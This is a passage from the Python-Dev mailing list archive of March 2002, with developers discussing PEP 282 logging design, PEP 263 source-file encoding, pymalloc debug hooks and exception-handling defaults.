> > with those objects. For example, if I want to log some arbitrarily
> > complex object I can just add it to the log record. On the handling end,
> > I could have a Formatter that knows how to deal with that object. For
> > formatters that *don't* recognize certain objects, a reasonable default
> > like using the pprint module could be used.
> 
> I like this. I prefer the name "exc_info" (rather than "exc") for the key,
> as it is clearer that the result of  sys.exc_info(), or equivalent, is being
> passed. 

Agreed. I prefer 'exc_info' too.


> How about the following? The kwargs is searched for "exc_info", and
> if found it is copied to the LogRecord [and removed from kwargs]. The kwargs
> dict is then bound to a "user_info" attribute of the LogRecord.


> There is a potential minefield here - if we are allowing any logging record
> to be sent by wire to a remote logger, then the "user_info" needs to go
> too - and what if something in it can't be pickled? Given that it is really
> important that the logging system is silent except when explicitly asked to
> do something by a logging call, exceptions caught in the logging system are
> generally ignored by design. This means that pickling exceptions would not
> be raised, and I foresee difficulties for developers... The idea of allowing
> arbitrary objects into the LogRecord is very powerful and has much to
> commend it, but I think the pickling problem may need to be solved first.
> 
> What do you think?

How about pulling out exc_info above, as you described, and then just dumping
the rest of the keyword args. No user_info, no mine field. If we come up with
a "mine sweeper" later then we can decide to pass on other keywords if it
looks reasonable and useful. So effectivly we are just trying to express: 

    def log(self, level, msg, *args, exc_info=None): ...

but have to use:

    def log(self, level, msg, *args, **kwargs): ...
        # dump anything but kwargs["exc_info"]

because the former is a syntax problem.

Thoughts?

Trent

p.s. Vinaj, when do you sleep? :)

-- 
Trent Mick
TrentM@ActiveState.com


From martin@v.loewis.de  Thu Mar 21 08:45:31 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 09:45:31 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPOEBJFFAA.mhammond@skippinet.com.au>
References: <LCEPIIGDJPKCOIHOBJEPOEBJFFAA.mhammond@skippinet.com.au>
Message-ID: <m3u1ras40k.fsf@mira.informatik.hu-berlin.de>

"Mark Hammond" <mhammond@skippinet.com.au> writes:

> > I thought that the malloc hooks in pymalloc where precisely introduced
> > for this kind of debugging. Just put the VC malloc hooks into
> > _PyCore_ObjectMalloc_SetHooks, and enjoy the features you had been
> > using all the time.
> 
> I like the idea of pymalloc doing this itself.  It is not hard, and
> universally useful.

I agree on the second part; I doubted the first part. I should have
considered that nothing is hard for Tim Peters :-)

Regards,
Martin



From trentm@ActiveState.com  Thu Mar 21 10:40:28 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 02:40:28 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020321023558.F32590@ActiveState.com>; from trentm@ActiveState.com on Thu, Mar 21, 2002 at 02:35:58AM -0800
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha> <20020321023558.F32590@ActiveState.com>
Message-ID: <20020321024028.G32590@ActiveState.com>

[Trent Mick wrote]
> How about pulling out exc_info above, as you described, and then just dumping
> the rest of the keyword args. No user_info, no mine field. If we come up with

Note that by "dumping" I mean to just drop them. I do *not* mean to "print
them to stdout", JavaScript's dump() notwithstanding.

Trent

-- 
Trent Mick
TrentM@ActiveState.com


From martin@v.loewis.de  Thu Mar 21 10:32:37 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 11:32:37 +0100
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <200203151718.g2FHI0M03566@pcp742651pcs.reston01.va.comcast.net>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <200203151718.g2FHI0M03566@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3henarz22.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > I guess the PEP is ready for BDFL pronouncement now.
> 
> Is the patch updated to match the PEP phase 1?

It is now.

Martin


From fredrik@pythonware.com  Thu Mar 21 11:55:36 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 21 Mar 2002 12:55:36 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org><87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp><m3663tho4v.fsf@mira.informatik.hu-berlin.de><87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp><012801c1d020$19da91d0$ced241d5@hagrid> <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <005801c1d0cf$533c8f50$0900a8c0@spiff>

Stephen J. Turnbull wrote:

>     Fredrik> PEP 263 implements the same model, minus UTF-16, and with
>     Fredrik> a two-phase implementation plan.
>=20
> It does not.

That wasn't an opinion, that was a statement of fact.

If you don't understand this, you're either not understanding the PEP,
the Python language specification (and how Python's parser and unicode
system works in real life), the XML specification (and how XML parsers
work in real life), or you're just trying to keep the argument going.

Try resetting your brain, study my statement and Martin's reply =
carefully,
and then read everything in the PEP *except* for the implementation
section.

If necessary, check the Python language reference as well.

When you do get it, please tell us what we need to clarify.  Arguing
that if you don't get it, it has to be *conceptually* wrong, won't get
us anywhere.

(as googling for "mule is evil" or "naggum on mule" shows, you should
know this from your work on emacs).

> True.  But the historical antecedent for PEP 263 is much closer to
> Emacs/Mule

That's a strange statement, given that most about everyone involved
in what led up to the PEP qualify as XML experts, and I don't think any =
of
them has been involved in Mule.

> which comes down on the PEP 263 side of both the issues
> identified above, than to XML.

I know XML's encoding model well (and the same goes for everyone =
involved
in what led up to the PEP), and I see nothing in the PEP that doesn't =
match
how things are done in XML, in real life.  You know Mule well, and argue =
that
the PEP has to be changed.  And then you argue that the PEP, as it =
stands,
is closer to Mule than to XML !?

Sorry the five minutes is up.

If you want me to go on arguing, you'll have to pay for another five =
minutes.

</F>



From stephen@xemacs.org  Thu Mar 21 12:10:21 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 21 Mar 2002 21:10:21 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <m3ofhiv338.fsf@mira.informatik.hu-berlin.de>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
 <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>
 <012801c1d020$19da91d0$ced241d5@hagrid>
 <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3ofhiv338.fsf@mira.informatik.hu-berlin.de>
Message-ID: <87r8medsuq.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> If the PEP would say

    Martin> [A Python program is a sequence of Unicode characters]

    Martin> it would not change a bit, in my view. Why do you perceive
    Martin> a difference?

Because the PEP currently specifies an implementation in which it
isn't true that Python handles Unicode character data, in fact.  The
PEP says:

       4. compile it, creating Unicode objects from the given Unicode data
          and creating string objects from the Unicode literal data
          by first reencoding the Unicode data into 8-bit string data
          using the given file encoding

       5. variable names and other identifiers will be reencoded into
          8-bit strings using the file encoding to assure backward
          compatibility with the existing implementation

Thus Python deals internally with at least two encodings (Unicode and
external) and possibly three (since identifiers are known to be ASCII,
differences in handling strings and identifiers might arise).

Re: hooks.

    Martin> which I understood to deliberately not deal at all with
    Martin> encodings - doing so would be the user's task.

True, the hooks idea would be a general user-specified preprocessor
invoked on code.  The point of leaving the codecs to the user is not,
however, intended to leave that user helpless and without guidance.
Of course a library of useful codecs would (presumably) be provided,
including a meta-codec to implement coding cookie recognition.  If the
library was half-decent users wouldn't think of doing anything but to
accept the implicit policy of the codec library.

    Martin> XML is completely different in this respect.

Yes.  It should be clear that I'd be happy to adopt the XML approach.

The PEP itself and the discussion also make it clear that that's not
acceptable, because ordinary literals don't contain (Unicode)
characters.  Using a character-based notation (eg, hex) for _all_
literal octets is unacceptable from the point of view of backward
compatibility and convenience in a language one of whose applications
is scripting.  XML doesn't have that problem.

    Martin> I can find equivalents of all this in PEP 263. For
    Martin> example, it is a fatal error (in phase 2) if a Python
    Martin> source file contains no encoding declaration and its
    Martin> content is not legal ASCII.

I can see where the analogous language has been inserted.  However,
that doesn't mean the PEP provides the same kind of coherent semantics
that the XML spec does.  In fact, it does not.

    Martin> "parsed" in the context of XML means that the entity has
    Martin> markup, and thus follows the production extParsedEnt (for
    Martin> example). The production rules always refer to characters,
    Martin> which are obtained from converting the input file into
    Martin> Unicode, according to the declared encoding.

In other words, quite different from PEP 263, which specifies three
kinds of objects where XML has characters: characters (Unicode),
identifier constituents (ASCII), and ordinary string constituents
(bytes in an external encoding).


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From mwh@python.net  Thu Mar 21 13:03:09 2002
From: mwh@python.net (Michael Hudson)
Date: 21 Mar 2002 13:03:09 +0000
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: Tim Peters's message of "Thu, 21 Mar 2002 01:18:24 -0500"
References: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
Message-ID: <2msn6uysxe.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> The thing I've dreaded most about switching to pymalloc is losing the
> invaluable memory-corruption clues supplied by the Microsoft debug-build
> malloc.  On more than one occasion, they've found wild stores, out-of-bounds
> reads, reads of uninitialized memory, and reads of free()ed memory in
> Python.  It does this by spraying special bytes all over malloc'ed memory at
> various times, then checking the bytes for sanity at free() and realloc()
> times.

[...]

> Sketch of Debug Mode for PyMalloc
> 
> + Three new entry points in obmalloc.c (note:  stop #include'ing this;
>   hiding code in include files sucks, and naming an include file .c
>   compounds the confusion):

+1

> DL_IMPORT(void *) _PyMalloc_DebugMalloc(size_t nbytes);
> DL_IMPORT(void *) _PyMalloc_DebugRealloc(void *p, size_t nbytes);
> DL_IMPORT(void) _PyMalloc_DebugFree(void *p);
> 
> + When WITH_PYMALLOC and PYMALLOC_DEBUG are #define'd, these are
>   mapped to in the obvious way from _PyMalloc_{MALLOC, REALLOC, FREE}:
> 
> #ifdef WITH_PYMALLOC
> DL_IMPORT(void *) _PyMalloc_Malloc(size_t nbytes);
> DL_IMPORT(void *) _PyMalloc_Realloc(void *p, size_t nbytes);
> DL_IMPORT(void) _PyMalloc_Free(void *p);
> 
> DL_IMPORT(void *) _PyMalloc_DebugMalloc(size_t nbytes);
> DL_IMPORT(void *) _PyMalloc_DebugRealloc(void *p, size_t nbytes);
> DL_IMPORT(void) _PyMalloc_DebugFree(void *p);
> 
> #ifdef PYMALLOC_DEBUG
> #define _PyMalloc_MALLOC _PyMalloc_DebugMalloc
> #define _PyMalloc_REALLOC _PyMalloc_DebugRealloc
> #define _PyMalloc_FREE _PyMalloc_DebugFree
> 
> #else   /* WITH_PYMALLOC && !PYMALLOC_DEBUG */
> #define _PyMalloc_MALLOC _PyMalloc_Malloc
> #define _PyMalloc_REALLOC _PyMalloc_Realloc
> #define _PyMalloc_FREE _PyMalloc_Free
> 
> #endif  /* PYMALLOC_DEBUG */
> 
> #else   /* !WITH_PYMALLOC */
> #define _PyMalloc_MALLOC PyMem_MALLOC
> #define _PyMalloc_REALLOC PyMem_REALLOC
> #define _PyMalloc_FREE PyMem_FREE
> #endif  /* WITH_PYMALLOC */

Presuambly it would be possible to do this wrapped around malloc() &
free() too?  No real point, I guess.

> + A debug build implies PYMALLOC_DEBUG, but PYMALLOC_DEBUG can
>   be forced in a release build.
> 
> + No changes to the guts of _PyMalloc_{Malloc, Realloc, Free}.  Keep
>   them as lean and as clear of #ifdef obscurity as they are now.

+1

> + Define three special bit patterns.  In hex, they all end with B
>   (for deBug <wink>), and begin with a vaguely mnemonic letter.
>   Strings of these are unlikely to be legit memory addresses, ints,
>   7-bit ASCII, or floats:

[snip good stuff]

> + The Debug free first uses the address to find the number of bytes
>   originally asked for, then checks the 8 bytes on each end for
>   sanity (in particular, that the PYMALLOC_FORBIDDENBYTEs are still
>   intact).
>   XXX Make this checking a distinct entry point.

Yes.  Particularly if you can call it from gdb.

>   XXX In case an error is found, print informative stuff, but then what?
>   XXX Die or keep going?  Fatal error is probably best.
>   Then fills the original N bytes with PYMALLOC_DEADBYTE.  This is to
>   catch references to free()ed memory.  The forbidden bytes are left
>   intact.
>   Then calls _PyMalloc_Free.

Is it worth having an option where you *don't* call _Free?  Obviously,
this would chew memory like no tomorrow, but it might just catch more
errors.

> + The Debug realloc first calls _PyMalloc_DebugMalloc with the new
>   request size.
>   Then copies over the original bytes.
>   The calls _PyMalloc_DebugFree on the original bytes.
>   XXX This could, and probably should, be optimized to avoid copying
>   XXX every time.

Yes.

What are you waiting for? <wink>

Cheers,
M.

-- 
  If comp.lang.lisp *is* what vendors are relying on to make or 
  break Lisp sales, that's more likely the problem than is the 
  effect of any one of us on such a flimsy marketing strategy...
                                      -- Kent M Pitman, comp.lang.lisp


From guido@python.org  Thu Mar 21 13:06:04 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 08:06:04 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: Your message of "Thu, 21 Mar 2002 01:18:24 EST."
 <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
Message-ID: <200203211306.g2LD65p06718@pcp742651pcs.reston01.va.comcast.net>

> The thing I've dreaded most about switching to pymalloc is losing
> the invaluable memory-corruption clues supplied by the Microsoft
> debug-build malloc.  On more than one occasion, they've found wild
> stores, out-of-bounds reads, reads of uninitialized memory, and
> reads of free()ed memory in Python.  It does this by spraying
> special bytes all over malloc'ed memory at various times, then
> checking the bytes for sanity at free() and realloc() times.

Rather than trying to mimic this in pymalloc, isn't it easier to have
a way to go back to the platform malloc?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 21 13:09:23 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 08:09:23 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: Your message of "Thu, 21 Mar 2002 00:46:05 PST."
 <20020321004605.D32590@ActiveState.com>
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
Message-ID: <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>

> [Jeremy Hylton wrote]
> > It seems quite plausible to decide to log an exception and
> > then get another trivial exception raised and caught on the
> > way to the logger.  You would still want to log the original
> > exception, so passing it explicitly is helpful sometimes.

[Trent]
> Yes, I suppose so.

I'd like to call YAGNI on this.  Also on the idea of being able to
pass an exception to all logging levels.  Also on the idea of passing
the exc_info in rather than having the logger call sys.exc_info().

Instead, the logger should be subclassable or extensible so that
Jeremy can implement this functionality if he really wants it.

KISS.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Thu Mar 21 13:13:10 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 21 Mar 2002 08:13:10 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha>
Message-ID: <3C99DC66.38BF6CE@metaslash.com>

Vinay Sajip wrote:

> There is a potential minefield here - if we are allowing any logging record
> to be sent by wire to a remote logger, then the "user_info" needs to go
> too - and what if something in it can't be pickled? Given that it is really
> important that the logging system is silent except when explicitly asked to
> do something by a logging call, exceptions caught in the logging system are
> generally ignored by design. This means that pickling exceptions would not
> be raised, and I foresee difficulties for developers... The idea of allowing
> arbitrary objects into the LogRecord is very powerful and has much to
> commend it, but I think the pickling problem may need to be solved first.

You could have the logging methods return an int/bool, 
1 if succesfully logged, 0 on failure.  Let the caller
decide what to do.  You could even return a failure
object or None.  The failure object would contain
(or be) the exception/problem.

Neal


From guido@python.org  Thu Mar 21 13:18:21 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 08:18:21 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: Your message of "Thu, 21 Mar 2002 11:13:36 +0100."
 <3C99B250.8050308@livinglogic.de>
References: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>
 <3C99B250.8050308@livinglogic.de>
Message-ID: <200203211318.g2LDIL906863@pcp742651pcs.reston01.va.comcast.net>

> Why can't we simply change the default for bare except clauses?

Because there's too much code that depends on it.

> I.e.
> 
> try:
>     ...
> except:
>     ...
> 
> gets equivalent to
> 
> try:
>     ...
> except StandardError:
>     ...
> 
> To catch everything, write:
> 
> try:
>     ...
> except Exception:
>     ...

Not all exception classes derive from Exception.

> What about string exceptions?

Another good reason not to change the default.  These won't be removed
from the language until Python 3.0 -- there's simply too much legacy
code that uses it.  (We should try to issue warnings when a string
exception is raised or tested for though starting in 2.3.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From vinay_sajip@red-dove.com  Thu Mar 21 13:20:28 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 13:20:28 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha> <3C99DC66.38BF6CE@metaslash.com>
Message-ID: <00a901c1d0db$2d1a5440$652b6992@alpha>

[Neal Norwitz]
> You could have the logging methods return an int/bool,
> 1 if succesfully logged, 0 on failure.  Let the caller
> decide what to do.  You could even return a failure
> object or None.  The failure object would contain
> (or be) the exception/problem.
This violates the principle that logging should be "set and forget". Having
the logger fail silently has, in past experience, caused fewer problems than
having to handle errors from the logging system - yet another headache for
the developer!
Regards

Vinay



From guido@python.org  Thu Mar 21 13:23:39 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 08:23:39 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: Your message of "Thu, 21 Mar 2002 12:55:36 +0100."
 <005801c1d0cf$533c8f50$0900a8c0@spiff>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org><87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp><m3663tho4v.fsf@mira.informatik.hu-berlin.de><87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp><012801c1d020$19da91d0$ced241d5@hagrid> <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
 <005801c1d0cf$533c8f50$0900a8c0@spiff>
Message-ID: <200203211323.g2LDNdQ06924@pcp742651pcs.reston01.va.comcast.net>

Do we have to continue to discuss this with Turnbull?  I have
completely tuned out from the discussion.  If the only remaining
problem is to convince Turnbull, it's probably much more effective to
stop responding.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From vinay_sajip@red-dove.com  Thu Mar 21 13:24:44 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 13:24:44 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com>            <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <00bb01c1d0db$c4f9b940$652b6992@alpha>

[Guido]
> I'd like to call YAGNI on this.  Also on the idea of being able to
> pass an exception to all logging levels.  Also on the idea of passing
> the exc_info in rather than having the logger call sys.exc_info().
>
> Instead, the logger should be subclassable or extensible so that
> Jeremy can implement this functionality if he really wants it.
>
> KISS.
Amen to that. As to Logger extensibility - I will add a
setLoggerClass(klass) which tells the getLogger() [a factory method] which
class to use when instantiating a logger.

Regards,


Vinay Sajip



From guido@python.org  Thu Mar 21 13:27:40 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 08:27:40 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: Your message of "Thu, 21 Mar 2002 13:20:28 GMT."
 <00a901c1d0db$2d1a5440$652b6992@alpha>
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha> <3C99DC66.38BF6CE@metaslash.com>
 <00a901c1d0db$2d1a5440$652b6992@alpha>
Message-ID: <200203211327.g2LDReg07001@pcp742651pcs.reston01.va.comcast.net>

> This violates the principle that logging should be "set and
> forget". Having the logger fail silently has, in past experience,
> caused fewer problems than having to handle errors from the logging
> system - yet another headache for the developer!

+1.

(You could have a meta-logger where errors from the logger go --
e.g. default to stderr.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Thu Mar 21 13:28:45 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 21 Mar 2002 08:28:45 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha> <3C99DC66.38BF6CE@metaslash.com> <00a901c1d0db$2d1a5440$652b6992@alpha>
Message-ID: <3C99E00D.83C649D5@metaslash.com>

Vinay Sajip wrote:
> 
> [Neal Norwitz]
> > You could have the logging methods return an int/bool,
> > 1 if succesfully logged, 0 on failure.  Let the caller
> > decide what to do.  You could even return a failure
> > object or None.  The failure object would contain
> > (or be) the exception/problem.
> This violates the principle that logging should be "set and forget". Having
> the logger fail silently has, in past experience, caused fewer problems than
> having to handle errors from the logging system - yet another headache for
> the developer!

This is my point.  It will almost always be ignored...unless
the caller really needs to know the information.  The logger
will fail silently, only an object will be returned
(no exception thrown) and the caller can safely ignore it.

Neal


From nas@python.ca  Thu Mar 21 14:06:41 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 21 Mar 2002 06:06:41 -0800
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>; from tim.one@comcast.net on Thu, Mar 21, 2002 at 01:18:24AM -0500
References: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
Message-ID: <20020321060640.A6118@glacier.arctrix.com>

Tim Peters wrote:
> Following is a sketch for teaching pymalloc how to do something
> similar to the [debugging] MS scheme.

I like it.  Having it available on all platforms is a big bonus.

  Neil


From barry@zope.com  Thu Mar 21 14:50:41 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 21 Mar 2002 09:50:41 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <web-3789526@digicool.com>
 <200203210157.g2L1vgW05305@pcp742651pcs.reston01.va.comcast.net>
 <15513.31240.974502.431306@anthem.wooz.org>
 <20020320235645.C32590@ActiveState.com>
Message-ID: <15513.62273.137080.875856@anthem.wooz.org>

>>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:

    TM> I don't know if I understand the example case here: do you not
    TM> even log _to file_ in stealth mode?

No (I think that's a quintuple negative :).  We always log to file,
even in stealth mode.
    
    TM> In any case I would handle this by attaching a Filter object
    TM> to any Handler that should *not* log in stealth mode:

Seems reasonable.

    >> Does this seem reasonable given PEP 282's current proposal?

    TM> Sure. It depends on how you lay out your code whether the
    TM> formatting and display of the web interface is done via the
    TM> logging module. I don't think that that would be the right
    TM> fit. The logging to file definitely fits into the logging
    TM> module's purview.

Hmm, I think I'll have to grag the sample implementation and play
around with it.

Thanks,
-Barry


From barry@zope.com  Thu Mar 21 14:55:46 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 21 Mar 2002 09:55:46 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
Message-ID: <15513.62578.652111.181365@anthem.wooz.org>

>>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:

    TM> Jeremy, The methods use 'msg, *args' instead of just 'msg' to
    TM> avoid string interpolation if the message will not be logged.
    TM> I think that that is still important to keep, albeit it making
    TM> the 'exc' keyword argument less explicit.

I really like my logging interface, which also uses *args.  This just
seems really convenient, and like you said, allows you to avoid some
extra work if the logging is disabled:

    syslog('vette', 'banned subscription: %s (matched: %s)',
                     email, pattern)

(There's a mismatch in my API and the PEP 282 API: `syslog' is a
global Logger instance that takes the file to log to -- relative to a
known directory -- as its first argument.  I don't think this is
insurmountable.)

-Barry


From fdrake@acm.org  Thu Mar 21 14:54:11 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 21 Mar 2002 09:54:11 -0500
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: <web-3786338@digicool.com>
References: <web-3786338@digicool.com>
Message-ID: <15513.62483.218999.747200@grendel.zope.com>

Jeremy Hylton writes:
 > I think the cell change is a pure bug fix.  The VAR_HEAD was
 > leftover from the days (perhaps just one day) when I thought
 > that a cell would contain multiple pointers.  The cell
 > objects aren't documented (so far as I know) and are only
 > used internally to implemented nested scopes.

http://www.python.org/doc/current/api/cell-objects.html

I'm pretty sure I asked you to proofread that at one point, though I
don't recall whether you did.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim@zope.com  Thu Mar 21 15:12:53 2002
From: tim@zope.com (Tim Peters)
Date: Thu, 21 Mar 2002 10:12:53 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <200203211306.g2LD65p06718@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEBDCOAA.tim@zope.com>

[Guido]
> Rather than trying to mimic this in pymalloc, isn't it easier to have
> a way to go back to the platform malloc?

We have one already:  turn off pymalloc.  How useful has, e.g., the debug
Linux malloc been for you in finding memory problems?



From guido@python.org  Thu Mar 21 15:19:45 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 10:19:45 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: Your message of "Thu, 21 Mar 2002 10:12:53 EST."
 <BIEJKCLHCIOIHAGOKOLHCEBDCOAA.tim@zope.com>
References: <BIEJKCLHCIOIHAGOKOLHCEBDCOAA.tim@zope.com>
Message-ID: <200203211519.g2LFJj413886@odiug.zope.com>

> We have one already:  turn off pymalloc.  How useful has, e.g., the debug
> Linux malloc been for you in finding memory problems?

The only one I've used is electric fence.  It's slow as a pig, but
catches virtually all bad writes at the point of writing.  I've used
it with great success once or twice (during the early stages of
developing new-style classes I wrote a lot of rough C code).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fredrik@pythonware.com  Thu Mar 21 15:47:39 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 21 Mar 2002 16:47:39 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
References: <BIEJKCLHCIOIHAGOKOLHCEBDCOAA.tim@zope.com>  <200203211519.g2LFJj413886@odiug.zope.com>
Message-ID: <018b01c1d0ef$bc1d1bf0$0900a8c0@spiff>

guido wrote:


> > We have one already:  turn off pymalloc.  How useful has, e.g., the =
debug
> > Linux malloc been for you in finding memory problems?
>=20
> The only one I've used is electric fence.  It's slow as a pig, but
> catches virtually all bad writes at the point of writing.  I've used
> it with great success once or twice (during the early stages of
> developing new-style classes I wrote a lot of rough C code).

I've played a little with this one:

    http://developer.kde.org/~sewardj/

which complained about accesses to uninitialized data down
in the tokenizer module in 2.2.1c1.  (still haven't figured out
exactly where/why, though).

</F>



From barry@zope.com  Thu Mar 21 17:03:21 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 21 Mar 2002 12:03:21 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>
 <3C99B250.8050308@livinglogic.de>
 <200203211318.g2LDIL906863@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15514.4697.197813.846511@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> Not all exception classes derive from Exception.

Early on in the conversion to standard class-based exceptions, we
considered requiring this, but we never did.  Although I personally
stick to this convention (my exceptions all eventually derive from
Exception), I'm not sure it's worth enforcing.

-Barry


From martin@v.loewis.de  Thu Mar 21 17:50:37 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 18:50:37 +0100
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: <15513.62483.218999.747200@grendel.zope.com>
References: <web-3786338@digicool.com>
 <15513.62483.218999.747200@grendel.zope.com>
Message-ID: <m3k7s5res2.fsf@mira.informatik.hu-berlin.de>

"Fred L. Drake, Jr." <fdrake@acm.org> writes:

> I'm pretty sure I asked you to proofread that at one point, though I
> don't recall whether you did.

Given this API, I assume modules who use PyCell_GET would crash; if
authors restrict themselves to the non-macro versions, and never
declare PyCellObject variables (only pointers), the modules will
continue to work.

I'm personally fine with the assertion that nobody did this, so it is
ok to change (thus breaking the ABI). If so, the argument "fix it
sooner rather than later" escapes me, though.

In any case: you have been warned...

Regards,
Martin



From skip@pobox.com  Thu Mar 21 18:01:58 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 21 Mar 2002 12:01:58 -0600
Subject: [Python-Dev] Patch  532638: Better AttributeError formatting
